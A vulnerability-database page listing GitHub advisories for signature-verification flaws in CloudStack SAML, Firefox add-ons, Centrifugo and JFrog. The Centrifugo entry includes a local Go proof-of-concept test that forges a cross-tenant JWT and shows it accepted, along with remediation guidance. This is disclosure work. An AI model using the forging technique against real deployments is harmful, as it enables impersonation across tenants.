Vulnerability-Lookup

GHSA-G5RW-PW9W-C288

Vulnerability from github – Published: 2026-08-21 09:32 – Updated: 2026-08-24 18:31

Details

Certificate validation failures in SAML authentication in Apache CloudStack 4.20.3.0 and 4.22.1.0 on all platforms allow a malicious agent to forge a SAML response to the management server. The agent will have to spoof the ip address of the IdP or get an url of its own choosing registered in the management server, after which it can allow logging on with forged signatures.

Users are recommended to upgrade to versions 4.20.3.1 or 4.22.1.1 and above, which fix this issue.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-68745"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-21T09:16:40Z",
    "severity": "HIGH"
  },
  "details": "Certificate validation failures in SAML authentication in Apache CloudStack 4.20.3.0 and 4.22.1.0 on all platforms allow a malicious agent to forge a SAML response to the management server. The agent will have to spoof the ip address of the IdP or get an url of its own choosing registered in the management server, after which it can allow logging on with forged signatures.\n\nUsers are recommended to upgrade to versions 4.20.3.1 or 4.22.1.1 and above, which fix this issue.",
  "id": "GHSA-g5rw-pw9w-c288",
  "modified": "2026-08-24T18:31:45Z",
  "published": "2026-08-21T09:32:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68745"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/g6cwddtjrwbh1d56wjz4cfp3fzfm4kbc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G5WV-CVF4-2R98

Vulnerability from github – Published: 2024-11-26 15:31 – Updated: 2025-11-04 00:32

Details

The application failed to account for exceptions thrown by the loadManifestFromFile method during add-on signature verification. This flaw, triggered by an invalid or unsupported extension manifest, could have caused runtime errors that disrupted the signature validation process. As a result, the enforcement of signature validation for unrelated add-ons may have been bypassed. Signature validation in this context is used to ensure that third-party applications on the user's computer have not tampered with the user's extensions, limiting the impact of this issue. This vulnerability affects Firefox < 133, Firefox ESR < 128.5, Thunderbird < 133, and Thunderbird < 128.5.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-11696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-26T14:15:19Z",
    "severity": "MODERATE"
  },
  "details": "The application failed to account for exceptions thrown by the `loadManifestFromFile` method during add-on signature verification. This flaw, triggered by an invalid or unsupported extension manifest, could have caused runtime errors that disrupted the signature validation process. As a result, the enforcement of signature validation for unrelated add-ons may have been bypassed.  Signature validation in this context is used to ensure that third-party applications on the user\u0027s computer have not tampered with the user\u0027s extensions, limiting the impact of this issue. This vulnerability affects Firefox \u003c 133, Firefox ESR \u003c 128.5, Thunderbird \u003c 133, and Thunderbird \u003c 128.5.",
  "id": "GHSA-g5wv-cvf4-2r98",
  "modified": "2025-11-04T00:32:08Z",
  "published": "2024-11-26T15:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11696"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1929600"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00029.html"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-63"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-64"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-67"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-68"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G6VG-WJ8F-48CJ

Vulnerability from github – Published: 2026-07-01 20:28 – Updated: 2026-07-01 20:28

Summary

Centrifugo's dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass

Details

Summary

Centrifugo's dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and singleflight lookup are keyed only by the JWT header kid, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace.

In a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same kid value and tenant A's key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager.

Details

The vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT iss or aud claims:

client.token.jwks_public_endpoint
client.subscription_token.jwks_public_endpoint

Relevant shipped config fields are defined in internal/configtypes/types.go:59-65, mapped into verifier configuration in internal/confighelpers/jwt.go:36-41, and exposed in the generated config schema at internal/cli/configdoc/schema.json:3927, 3947, 3967, 3987, 4069, 4089, 4109, and 4129. Dynamic JWKS endpoints based on iss and aud are documented in the project changelog at CHANGELOG.md:107.

External clients control JWT connection and subscription tokens:

Connection tokens reach VerifyConnectToken from internal/client/handler.go:350-352.
Normal subscription tokens reach VerifySubscribeToken from internal/client/handler.go:769-775.
Subscription refresh tokens reach VerifySubscribeToken from internal/client/handler.go:628-632.

The verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint:

VerifyConnectToken parses without verification at internal/jwtverify/token_verifier_jwt.go:528-535, extracts template variables before signature verification at internal/jwtverify/token_verifier_jwt.go:539-548, then validates claims only after signature verification at internal/jwtverify/token_verifier_jwt.go:557-560.
VerifySubscribeToken follows the same pattern at internal/jwtverify/token_verifier_jwt.go:700-732.

The problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. internal/jwtverify/token_verifier_jwt.go:242-245 passes only the JWT header kid plus token-derived variables to the JWKS manager:

func (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error {
    kid := token.Header().KeyID

    key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars)

internal/jwks/manager.go:96-117 checks cache and singleflight using only kid:

func (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
    if kid == "" {
        return nil, ErrKeyIDNotProvided
    }

    if m.useCache {
        key, err := m.cache.Get(kid)
        if err == nil {
            return key, nil
        }
    }

    v, err, _ := m.group.Do(kid, func() (any, error) {
        return m.fetchKey(ctx, kid, tokenVars)
    })

The resolved JWKS URL is computed only later in internal/jwks/manager.go:133-149:

func (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {
    jwkURL := m.url.ExecuteString(tokenVars)
    ...
    req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil)

The TTL cache also stores and retrieves keys only by kid at internal/jwks/cache_ttl.go:82-101:

func (tc *TTLCache) Add(key *JWK) error {
    ...
    tc.items[key.Kid] = item
}

func (tc *TTLCache) Get(kid string) (*JWK, error) {
    ...
    item, ok := tc.items[kid]

As a result, a key fetched from tenant A's JWKS endpoint can be reused to verify a token claiming tenant B before tenant B's JWKS endpoint is consulted.

I also reviewed the template safety mitigation in internal/jwtverify/validate.go:99-154. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: ^(?P<tenant>tenant-a|tenant-b)$.

PoC

This is a safe local-only unit test using httptest.Server and generated RSA key pairs. It does not contact external systems.

From a clean checkout of centrifugal/centrifugo at commit 458ee0500f046877d7e8375e32f5e842bc95535b, add this file as internal/jwtverify/jwks_cache_poc_test.go:

package jwtverify

import (
    "crypto/rsa"
    "encoding/json"
    "net/http"
    "net/http/httptest"
    "sync/atomic"
    "testing"
    "time"

    "github.com/centrifugal/centrifugo/v6/internal/config"

    "github.com/cristalhq/jwt/v5"
    "github.com/stretchr/testify/require"
)

func writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) {
    t.Helper()
    resp := map[string]any{
        "keys": []map[string]string{
            {
                "alg": "RS256",
                "kty": "RSA",
                "use": "sig",
                "kid": kid,
                "n":   encodeToString(pubKey.N.Bytes()),
                "e":   encodeUint64ToString(uint64(pubKey.E)),
            },
        },
    }
    w.Header().Set("Content-Type", "application/json")
    require.NoError(t, json.NewEncoder(w).Encode(resp))
}

func getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string {
    t.Helper()
    signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey)
    require.NoError(t, err)
    builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid))
    claims := &ConnectTokenClaims{
        Base64Info: "e30=",
        RegisteredClaims: jwt.RegisteredClaims{
            Subject:   user,
            Issuer:    issuer,
            ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),
        },
    }
    token, err := builder.Build(claims)
    require.NoError(t, err)
    return token.String()
}

func TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {
    const kid = "shared-kid"

    tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)
    tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)

    var tenantARequests int32
    var tenantBRequests int32

    ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        switch r.URL.Path {
        case "/tenant-a/jwks.json":
            atomic.AddInt32(&tenantARequests, 1)
            writeRSAJWKS(t, w, tenantAPublicKey, kid)
        case "/tenant-b/jwks.json":
            atomic.AddInt32(&tenantBRequests, 1)
            writeRSAJWKS(t, w, tenantBPublicKey, kid)
        default:
            http.NotFound(w, r)
        }
    }))
    defer ts.Close()

    cfg := config.DefaultConfig()
    cfgContainer, err := config.NewContainer(cfg)
    require.NoError(t, err)

    newVerifier := func() *VerifierJWT {
        verifier, err := NewTokenVerifierJWT(VerifierConfig{
            JWKSPublicEndpoint: ts.URL + "/{{tenant}}/jwks.json",
            IssuerRegex:        `^(?P<tenant>tenant-a|tenant-b)$`,
        }, cfgContainer)
        require.NoError(t, err)
        return verifier
    }

    legitimateTenantAToken := getRSAIssuerConnToken(t, "tenant-a-user", "tenant-a", tenantAPrivateKey, kid)
    legitimateTenantBToken := getRSAIssuerConnToken(t, "tenant-b-user", "tenant-b", tenantBPrivateKey, kid)
    forgedTenantBToken := getRSAIssuerConnToken(t, "victim", "tenant-b", tenantAPrivateKey, kid)

    ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-b-user", ct.UserID)

    _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false)
    require.Error(t, err)

    verifier := newVerifier()
    ct, err = verifier.VerifyConnectToken(legitimateTenantAToken, false)
    require.NoError(t, err)
    require.Equal(t, "tenant-a-user", ct.UserID)

    tenantBRequestsBeforeForge := atomic.LoadInt32(&tenantBRequests)
    ct, err = verifier.VerifyConnectToken(forgedTenantBToken, false)
    require.NoError(t, err)
    require.Equal(t, "victim", ct.UserID)
    require.Equal(t, tenantBRequestsBeforeForge, atomic.LoadInt32(&tenantBRequests))
}

Run the focused test with the project-supported Go toolchain:

go test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v

Observed vulnerable output in my local test environment using Go 1.26.3:

=== RUN   TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
{"level":"info","endpoint":"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json","time":"2026-05-21T23:49:28+07:00","message":"JWKS manager created"}
--- PASS: TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC (0.07s)
PASS
ok      github.com/centrifugal/centrifugo/v6/internal/jwtverify 0.088s

The passing test demonstrates the vulnerable behavior because it asserts these controls:

A legitimate tenant-B token signed by tenant B succeeds with a fresh verifier.
A forged tenant-B token signed by tenant A fails with a fresh verifier.
A legitimate tenant-A token succeeds and primes the JWKS cache with tenant A's shared-kid key.
The forged tenant-B token signed by tenant A then succeeds with user ID victim.
The tenant-B JWKS request counter does not increase during forged verification, proving the forged token was accepted from the cross-tenant cache hit rather than from tenant B's JWKS endpoint.

Expected behavior after a fix: the forged tenant-B token should remain rejected after tenant A primes the cache, or the verifier should fetch/consult tenant B's independent JWKS cache namespace before verification.

Impact

This is a cross-issuer / cross-tenant JWT authentication bypass in dynamic JWKS deployments.

Impacted deployments are those that use dynamic JWKS endpoint templates to select different JWKS URLs for different allowed issuers or audiences, for example multi-tenant deployments using {{tenant}} values extracted from iss or aud.

An attacker who can obtain or mint a valid token for one allowed issuer/tenant can authenticate as another allowed issuer/tenant if both JWKS documents use the same kid value and the attacker's issuer key is cached first. kid values are not globally unique by specification and are often operational labels such as current, default, or rotation identifiers, so the verifier should not rely on kid uniqueness across different JWKS trust domains.

Potential consequences include:

Authentication as a user in another issuer/tenant namespace.
Unauthorized connection-token acceptance.
Unauthorized subscription-token acceptance where separate subscription JWTs are configured.
Cross-tenant confidentiality and integrity impact when issuer-derived JWKS endpoints are used as separate trust domains.

Suggested remediation

Scope JWKS cache entries and singleflight keys to the resolved JWKS trust domain, not only to the JWT kid.

For dynamic endpoints, compute the endpoint namespace before cache lookup and use a composite cache key such as:

resolved_jwks_url + "\x00" + kid

or an equivalent canonical trust-domain identifier plus kid.

The same composite namespace should be used for:

TTL cache lookup.
TTL cache storage.
singleflight.Group.Do keys.

A regression test should prime tenant A's cache and then verify that a forged tenant-B token signed by tenant A remains rejected.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.8.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.4.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/centrifugal/centrifugo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:28:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "#### Summary\n\nCentrifugo\u0027s dynamic JWKS endpoint feature can verify a JWT for one allowed issuer using a public key cached from another allowed issuer. The JWKS cache and `singleflight` lookup are keyed only by the JWT header `kid`, not by the resolved JWKS endpoint, issuer, audience, or other trust-domain namespace.\n\nIn a documented multi-issuer dynamic JWKS configuration, an attacker who can obtain or mint a valid token for issuer/tenant A can authenticate as issuer/tenant B if both JWKS documents use the same `kid` value and tenant A\u0027s key is cached first. This affects connection token verification and subscription token verification because both paths use the same JWKS verification manager.\n\n#### Details\n\nThe vulnerable path is reachable when either of these shipped configuration options is set to a templated JWKS URL using values derived from JWT `iss` or `aud` claims:\n\n- `client.token.jwks_public_endpoint`\n- `client.subscription_token.jwks_public_endpoint`\n\nRelevant shipped config fields are defined in `internal/configtypes/types.go:59-65`, mapped into verifier configuration in `internal/confighelpers/jwt.go:36-41`, and exposed in the generated config schema at `internal/cli/configdoc/schema.json:3927`, `3947`, `3967`, `3987`, `4069`, `4089`, `4109`, and `4129`. Dynamic JWKS endpoints based on `iss` and `aud` are documented in the project changelog at `CHANGELOG.md:107`.\n\nExternal clients control JWT connection and subscription tokens:\n\n- Connection tokens reach `VerifyConnectToken` from `internal/client/handler.go:350-352`.\n- Normal subscription tokens reach `VerifySubscribeToken` from `internal/client/handler.go:769-775`.\n- Subscription refresh tokens reach `VerifySubscribeToken` from `internal/client/handler.go:628-632`.\n\nThe verifier must parse token claims before signature verification to resolve the dynamic JWKS endpoint:\n\n- `VerifyConnectToken` parses without verification at `internal/jwtverify/token_verifier_jwt.go:528-535`, extracts template variables before signature verification at `internal/jwtverify/token_verifier_jwt.go:539-548`, then validates claims only after signature verification at `internal/jwtverify/token_verifier_jwt.go:557-560`.\n- `VerifySubscribeToken` follows the same pattern at `internal/jwtverify/token_verifier_jwt.go:700-732`.\n\nThe problem is that the JWKS cache lookup ignores the endpoint/trust domain selected by those token variables. `internal/jwtverify/token_verifier_jwt.go:242-245` passes only the JWT header `kid` plus token-derived variables to the JWKS manager:\n\n```go\nfunc (j *jwksManager) verify(token *jwt.Token, tokenVars map[string]any) error {\n    kid := token.Header().KeyID\n\n    key, err := j.Manager.FetchKey(context.Background(), kid, tokenVars)\n```\n\n`internal/jwks/manager.go:96-117` checks cache and `singleflight` using only `kid`:\n\n```go\nfunc (m *Manager) FetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {\n    if kid == \"\" {\n        return nil, ErrKeyIDNotProvided\n    }\n\n    if m.useCache {\n        key, err := m.cache.Get(kid)\n        if err == nil {\n            return key, nil\n        }\n    }\n\n    v, err, _ := m.group.Do(kid, func() (any, error) {\n        return m.fetchKey(ctx, kid, tokenVars)\n    })\n```\n\nThe resolved JWKS URL is computed only later in `internal/jwks/manager.go:133-149`:\n\n```go\nfunc (m *Manager) fetchKey(ctx context.Context, kid string, tokenVars map[string]any) (*JWK, error) {\n    jwkURL := m.url.ExecuteString(tokenVars)\n    ...\n    req, err := http.NewRequestWithContext(ctx, http.MethodGet, jwkURL, nil)\n```\n\nThe TTL cache also stores and retrieves keys only by `kid` at `internal/jwks/cache_ttl.go:82-101`:\n\n```go\nfunc (tc *TTLCache) Add(key *JWK) error {\n    ...\n    tc.items[key.Kid] = item\n}\n\nfunc (tc *TTLCache) Get(kid string) (*JWK, error) {\n    ...\n    item, ok := tc.items[kid]\n```\n\nAs a result, a key fetched from tenant A\u0027s JWKS endpoint can be reused to verify a token claiming tenant B before tenant B\u0027s JWKS endpoint is consulted.\n\nI also reviewed the template safety mitigation in `internal/jwtverify/validate.go:99-154`. It restricts placeholder regex groups to finite literal alternatives, which helps prevent arbitrary endpoint substitution, but it does not scope cached keys by the resolved endpoint or issuer/audience namespace. The PoC uses a validator-accepted issuer regex: `^(?P\u003ctenant\u003etenant-a|tenant-b)$`.\n\n#### PoC\n\nThis is a safe local-only unit test using `httptest.Server` and generated RSA key pairs. It does not contact external systems.\n\nFrom a clean checkout of `centrifugal/centrifugo` at commit `458ee0500f046877d7e8375e32f5e842bc95535b`, add this file as `internal/jwtverify/jwks_cache_poc_test.go`:\n\n```go\npackage jwtverify\n\nimport (\n    \"crypto/rsa\"\n    \"encoding/json\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"sync/atomic\"\n    \"testing\"\n    \"time\"\n\n    \"github.com/centrifugal/centrifugo/v6/internal/config\"\n\n    \"github.com/cristalhq/jwt/v5\"\n    \"github.com/stretchr/testify/require\"\n)\n\nfunc writeRSAJWKS(t *testing.T, w http.ResponseWriter, pubKey *rsa.PublicKey, kid string) {\n    t.Helper()\n    resp := map[string]any{\n        \"keys\": []map[string]string{\n            {\n                \"alg\": \"RS256\",\n                \"kty\": \"RSA\",\n                \"use\": \"sig\",\n                \"kid\": kid,\n                \"n\":   encodeToString(pubKey.N.Bytes()),\n                \"e\":   encodeUint64ToString(uint64(pubKey.E)),\n            },\n        },\n    }\n    w.Header().Set(\"Content-Type\", \"application/json\")\n    require.NoError(t, json.NewEncoder(w).Encode(resp))\n}\n\nfunc getRSAIssuerConnToken(t *testing.T, user string, issuer string, rsaPrivateKey *rsa.PrivateKey, kid string) string {\n    t.Helper()\n    signer, err := jwt.NewSignerRS(jwt.RS256, rsaPrivateKey)\n    require.NoError(t, err)\n    builder := jwt.NewBuilder(signer, jwt.WithKeyID(kid))\n    claims := \u0026ConnectTokenClaims{\n        Base64Info: \"e30=\",\n        RegisteredClaims: jwt.RegisteredClaims{\n            Subject:   user,\n            Issuer:    issuer,\n            ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),\n        },\n    }\n    token, err := builder.Build(claims)\n    require.NoError(t, err)\n    return token.String()\n}\n\nfunc TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC(t *testing.T) {\n    const kid = \"shared-kid\"\n\n    tenantAPrivateKey, tenantAPublicKey := generateTestRSAKeys(t)\n    tenantBPrivateKey, tenantBPublicKey := generateTestRSAKeys(t)\n\n    var tenantARequests int32\n    var tenantBRequests int32\n\n    ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        switch r.URL.Path {\n        case \"/tenant-a/jwks.json\":\n            atomic.AddInt32(\u0026tenantARequests, 1)\n            writeRSAJWKS(t, w, tenantAPublicKey, kid)\n        case \"/tenant-b/jwks.json\":\n            atomic.AddInt32(\u0026tenantBRequests, 1)\n            writeRSAJWKS(t, w, tenantBPublicKey, kid)\n        default:\n            http.NotFound(w, r)\n        }\n    }))\n    defer ts.Close()\n\n    cfg := config.DefaultConfig()\n    cfgContainer, err := config.NewContainer(cfg)\n    require.NoError(t, err)\n\n    newVerifier := func() *VerifierJWT {\n        verifier, err := NewTokenVerifierJWT(VerifierConfig{\n            JWKSPublicEndpoint: ts.URL + \"/{{tenant}}/jwks.json\",\n            IssuerRegex:        `^(?P\u003ctenant\u003etenant-a|tenant-b)$`,\n        }, cfgContainer)\n        require.NoError(t, err)\n        return verifier\n    }\n\n    legitimateTenantAToken := getRSAIssuerConnToken(t, \"tenant-a-user\", \"tenant-a\", tenantAPrivateKey, kid)\n    legitimateTenantBToken := getRSAIssuerConnToken(t, \"tenant-b-user\", \"tenant-b\", tenantBPrivateKey, kid)\n    forgedTenantBToken := getRSAIssuerConnToken(t, \"victim\", \"tenant-b\", tenantAPrivateKey, kid)\n\n    ct, err := newVerifier().VerifyConnectToken(legitimateTenantBToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"tenant-b-user\", ct.UserID)\n\n    _, err = newVerifier().VerifyConnectToken(forgedTenantBToken, false)\n    require.Error(t, err)\n\n    verifier := newVerifier()\n    ct, err = verifier.VerifyConnectToken(legitimateTenantAToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"tenant-a-user\", ct.UserID)\n\n    tenantBRequestsBeforeForge := atomic.LoadInt32(\u0026tenantBRequests)\n    ct, err = verifier.VerifyConnectToken(forgedTenantBToken, false)\n    require.NoError(t, err)\n    require.Equal(t, \"victim\", ct.UserID)\n    require.Equal(t, tenantBRequestsBeforeForge, atomic.LoadInt32(\u0026tenantBRequests))\n}\n```\n\nRun the focused test with the project-supported Go toolchain:\n\n```bash\ngo test ./internal/jwtverify -run TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC -count=1 -v\n```\n\nObserved vulnerable output in my local test environment using Go 1.26.3:\n\n```text\n=== RUN   TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n{\"level\":\"info\",\"endpoint\":\"http://127.0.0.1:32811/%7B%7Btenant%7D%7D/jwks.json\",\"time\":\"2026-05-21T23:49:28+07:00\",\"message\":\"JWKS manager created\"}\n--- PASS: TestJWKSCacheKeyIsNotScopedToTemplatedEndpointPoC (0.07s)\nPASS\nok  \tgithub.com/centrifugal/centrifugo/v6/internal/jwtverify\t0.088s\n```\n\nThe passing test demonstrates the vulnerable behavior because it asserts these controls:\n\n1. A legitimate tenant-B token signed by tenant B succeeds with a fresh verifier.\n2. A forged tenant-B token signed by tenant A fails with a fresh verifier.\n3. A legitimate tenant-A token succeeds and primes the JWKS cache with tenant A\u0027s `shared-kid` key.\n4. The forged tenant-B token signed by tenant A then succeeds with user ID `victim`.\n5. The tenant-B JWKS request counter does not increase during forged verification, proving the forged token was accepted from the cross-tenant cache hit rather than from tenant B\u0027s JWKS endpoint.\n\nExpected behavior after a fix: the forged tenant-B token should remain rejected after tenant A primes the cache, or the verifier should fetch/consult tenant B\u0027s independent JWKS cache namespace before verification.\n\n#### Impact\n\nThis is a cross-issuer / cross-tenant JWT authentication bypass in dynamic JWKS deployments.\n\nImpacted deployments are those that use dynamic JWKS endpoint templates to select different JWKS URLs for different allowed issuers or audiences, for example multi-tenant deployments using `{{tenant}}` values extracted from `iss` or `aud`.\n\nAn attacker who can obtain or mint a valid token for one allowed issuer/tenant can authenticate as another allowed issuer/tenant if both JWKS documents use the same `kid` value and the attacker\u0027s issuer key is cached first. `kid` values are not globally unique by specification and are often operational labels such as `current`, `default`, or rotation identifiers, so the verifier should not rely on `kid` uniqueness across different JWKS trust domains.\n\nPotential consequences include:\n\n- Authentication as a user in another issuer/tenant namespace.\n- Unauthorized connection-token acceptance.\n- Unauthorized subscription-token acceptance where separate subscription JWTs are configured.\n- Cross-tenant confidentiality and integrity impact when issuer-derived JWKS endpoints are used as separate trust domains.\n\n#### Suggested remediation\n\nScope JWKS cache entries and `singleflight` keys to the resolved JWKS trust domain, not only to the JWT `kid`.\n\nFor dynamic endpoints, compute the endpoint namespace before cache lookup and use a composite cache key such as:\n\n```text\nresolved_jwks_url + \"\\x00\" + kid\n```\n\nor an equivalent canonical trust-domain identifier plus `kid`.\n\nThe same composite namespace should be used for:\n\n- TTL cache lookup.\n- TTL cache storage.\n- `singleflight.Group.Do` keys.\n\nA regression test should prime tenant A\u0027s cache and then verify that a forged tenant-B token signed by tenant A remains rejected.",
  "id": "GHSA-g6vg-wj8f-48cj",
  "modified": "2026-07-01T20:28:52Z",
  "published": "2026-07-01T20:28:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/centrifugal/centrifugo/security/advisories/GHSA-g6vg-wj8f-48cj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/centrifugal/centrifugo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Centrifugo\u0027s dynamic JWKS key cache keyed only by `kid` allows cross-issuer JWT authentication bypass"
}

GHSA-G827-5JXH-C39H

Vulnerability from github – Published: 2026-08-12 18:31 – Updated: 2026-08-12 18:31

Details

A holder of a valid integration credential may impersonate other users under specific conditions.

Severity

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-68759"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-12T16:17:16Z",
    "severity": "HIGH"
  },
  "details": "A holder of a valid integration credential may impersonate other users under specific conditions.",
  "id": "GHSA-g827-5jxh-c39h",
  "modified": "2026-08-12T18:31:18Z",
  "published": "2026-08-12T18:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68759"
    },
    {
      "type": "WEB",
      "url": "https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases"
    },
    {
      "type": "WEB",
      "url": "https://docs.jfrog.com/releases/docs/jfrog-security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G83H-4727-5RPV

Vulnerability from github – Published: 2024-10-11 00:31 – Updated: 2024-11-15 18:30

Details

